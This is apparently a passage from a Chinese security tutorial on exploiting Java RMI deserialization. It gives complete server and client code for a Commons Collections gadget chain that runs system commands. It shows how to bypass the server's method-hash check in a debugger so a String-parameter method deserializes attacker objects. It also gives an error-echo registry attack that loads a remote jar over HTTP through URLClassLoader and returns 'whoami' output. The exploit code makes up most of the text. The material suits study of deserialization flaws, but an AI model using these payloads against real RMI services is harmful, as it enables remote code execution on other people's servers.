是服务器端的远程对象实例,而var2
是客户端对该远程对象方法的调用。
从var2
中读取需要调用远程对象的哪一个方法,hashToMethod_Map
中存放的就是远程对象中支持远程调用的方法,这里的 var4=-1
从这里可以看到调用的是 name 方法,然后获取到该方法的参数列表长度,然后对其参数列表长度进行便利,进入unmarshalValue
:
这里先判断传入的var0
来判断如何读取数据,如果是基本类型就按照对应方法读取,否则就进行反序列化,这里的var1
就是最开始客户端对该远程对象方法的调用对象 (就是客户端传来的序列化字符,我们是可控的)
服务端 String 类型参数方法利用#
但是这里并没有发现
String.class
类型,如果远程对象的某个函数可以接受 String 类型参数,那能不能对传入的对象进行反序列化呢?
这里可以尝试在服务端依旧设置接受String.class
类型的方法,然后在客户端构造相同的方法,但是参数和返回值改为 Object 类型
这里的代码如下:
服务端部分代码:
接口
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
void say(String say) throws RemoteException;
}
实现类
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
// 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
public UserImpl() throws RemoteException {
super();
}
@Override
public void say(String say) throws RemoteException{
System.out.println("you speak " + say);
}
}
rmi 服务端
package rmi.attack_server;
import sun.rmi.server.UnicastServerRef;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class serverTest {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(3333);
User user = new UserImpl();
registry.bind("User", user);
System.out.println("rmi start at 3333");
}
}
客户端代码如下:
package rmi.attack_server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
// String name(String name) throws RemoteException;
void say(Object say) throws RemoteException;
// void dowork(Object work) throws RemoteException;
}
实现类:
package rmi.attack_server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
// 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
public UserImpl() throws RemoteException {
super();
}
@Override
public void say(Object say) throws RemoteException{
System.out.println("you speak " + say);
}
}
rmi 客户端:
package rmi.attack_server;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.transport.StreamRemoteCall;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class clientTest {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:3333/User";
User userClient = (User) Naming.lookup(url);
userClient.say(getpayload());
}
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "test");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
这里需要注意的是,虽然 rmi 的 url 是服务端的,那么其实我们想调用的就是 string 参数类型的 say 方法,但是我们又想传入 object 对象,那么就需要让 userClient 对象为 User 类型,而不是服务端的 User1 类型,不然是传递不进去的,同时客户端调用的 say 方法不是真的执行 say 方法,而是把getpayload()
数据传向服务端真实的远程对象进行调用 say 方法,所以这里即使你写的是 object 参数类型的 say, 传递给服务端还是 String 类型的 say 方法来执行,这里只是为了客户端能运行才需要修改为 Object 类型方法
这里还需要注意客服端和服务端的代码需要在两个不同的项目里面 (不然会出现com.sun.proxy.$Proxy0 cannot be cast to rmi.attack_server.User
报错)
同时客户端的类名需要和服务端的类名需要一致,包名需要一致,不然会出现 (java.lang.ClassNotFoundException: attack_server2.User1 (no security manager: RMI class loader disabled)
) 报错,同时两边都要有 cc 依赖
重新配置好类名,新的报错如下:
说明没有从hashToMethod_Map
中查询到我们想要调用的方法 (通过 hash 进行判断的), 这里就需要看下客户端是如何把这个 var4 传递过来的:
这里还需要补充如何下断点,查看 client 传输数据时的调用栈
StreamRemoteCall
构造函数的作用是初始化一个远程调用对象。这个构造函数会写入远程调用的头信息,包括对象 ID、操作码和调用 ID。
这里就需要回看前面比较 hash 的时候使用到的是哪个变量
其实那个 hash 值就是读取传入对象的 long 值,也就是StreamRemoteCall
构造函数的第四个参数调用 ID。那我们可以直接在这里修改掉这个 hash 值不就行了么(这里调试可以直接,相对传输的序列化数据我们是能任意操控,再不济在客户端用 agent 把这个类重写了,方法多的是)反正这里传入服务端存在方法对应的hash
,绕过检测到参数反序列化就行,我这里设置为6197384497301668989
(你们找自己服务端对应的),debug 中输入var4=6197384497301668989L
, 这里要加L
才行,不然他会认为是 int 会过大(不知道咋设置看下图)
回车即可,然后我们继续调试,这里其实在调试过程有很多坑,我这里是第三次跳转到 writeLong 的时候进行修改才能进行后续调试,因为第三次才是对 say 方法进行的调用,所以需要客户端、服务端一起调试,在服务端查看当前调用方法是否为 say 方法
可以看见即使服务端的方法参数为 string 类型,我们还是可以把客户端传递过去的数据进行反序列化,所以除去Integer
、Boolean
、Byte
、Character
、Short
、Long
、Float
、Double
方法都是可以进行反序列化 object 的,成功弹窗
带回显攻击#
这里说的带回显攻击,指的是攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。
在之前攻击注册中心时采用的方式,我们可以通过 bind、lookup、unbind、rebind 等方式去攻击注册中心,当我们尝试攻击时,命令确实执行了,不过注册中心的错误也会传递到我们的客户端中:
注册中心在处理请求时,会调用到UnicastServerRef#dispatch
来处理请求,然后依次调用到 RegistryImpl_Skel 对象的 dispatch 方法,
我们看一下注册中心如何处理报错的,UnicastServerRef#dispatch:
首先是把异常赋值给了 var6,之后会获取到当前 socket 连接到 outputstream,然后写入异常,之后通过 finally 后边的两段代码把数据回传给客户端。
思路:当通过 bind 方法让注册中心反序列化我们的恶意序列化对象时,即可触发命令执行,通过 URLClassLoader 的方式加载远程 jar,并调用其方法,在方法内抛出错误,错误会传回客户端。
服务端:
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class Server {
public interface User extends Remote {
public String name(String name) throws RemoteException;
public void say(String say) throws RemoteException;
public void Example(Object work) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User{
public UserImpl() throws RemoteException{
super();
}
public String name(String name) throws RemoteException{
return name;
}
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
public void Example(Object example) throws RemoteException{
System.out.println("This is " + example);
}
}
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1099/User";
UserImpl user = new UserImpl();
LocateRegistry.createRegistry(1099);
Naming.bind(url,user);
System.out.println("RMI server is running");
}
}
ErrorBaseExec
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}
编译成 RMIexploit.jar
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class
客户端
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = "<http://127.0.0.1:8081/RMIexploit.jar>";
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] {new Object[] {new java.net.URL[] { new java.net.URL(remotejar) }}}),
new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] {"ErrorBaseExec"}),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}
用 python 起一个简易的 http 服务器
python -3 -m http.server 8081